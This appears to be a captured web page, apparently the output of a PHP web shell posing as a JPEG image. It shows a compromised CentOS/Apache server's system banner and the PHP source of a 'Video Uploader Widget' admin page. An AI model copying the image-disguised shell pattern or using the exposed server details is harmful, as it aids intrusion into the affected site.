ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/video/ |
<?php function menus_selected($id,$parentid,$aCats,$res,$sep){ foreach($aCats as $val){ if($val['menus_parentid']==$parentid){ if($id==$val['menus_id']){ $re = '<option value="'.$val['menus_id'].'" selected> + '.$sep.' '.$val['menus_name'].'</option>'; }else{ $re = '<option value="'.$val['menus_id'].'"> + '.$sep.' '.$val['menus_name'].'</option>'; } $res .= menus_selected($id,$val['menus_id'],$aCats,$re,$sep.' + '); } } return $res; } /*$aCats = array(); $op_menu = ''; $query_menu = $DB->query("SELECT * FROM tb_menus "); while($rows_menu = $DB->fetch_row($query_menu)) { $aCats[] = $rows_menu; } $op_menu = menus_selected(0,0,$aCats,'<option value="0"> Root folder</option>','');*/ $q_total = $DB->query(" SELECT count(*) as total FROM tb_menus UNION ALL SELECT count(*) as total FROM tb_video "); $i = 0; $arr_total = array(); while($r_total = $DB->fetch_row($q_total)){ $arr_total[$i] = $r_total['total']; $i++; } $total_folder = $arr_total[0]; $total_video = $arr_total[1]; ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Video Uploader Widget</title> <!-- Bootstrap core CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.3/css/bootstrap.min.css" integrity="sha384-Zug+QiDoJOrZ5t4lssLdxGhVrurbmBWopoEl+M6BdEfwnCJZtKxi1KgxUyJq13dy" crossorigin="anonymous"> <link rel="stylesheet" href="layout/font6/css/all.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/admin-lte@3.2/dist/css/adminlte.min.css"> <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <style> .select2-container .select2-selection--single{ height: auto;!important; } </style> <!-- Custom styles --> <link href="uploader-master/dist/css/jquery.dm-uploader.min.css" rel="stylesheet"> <link href="uploader-master/demo/styles.css?v=4" rel="stylesheet"> </head> <body>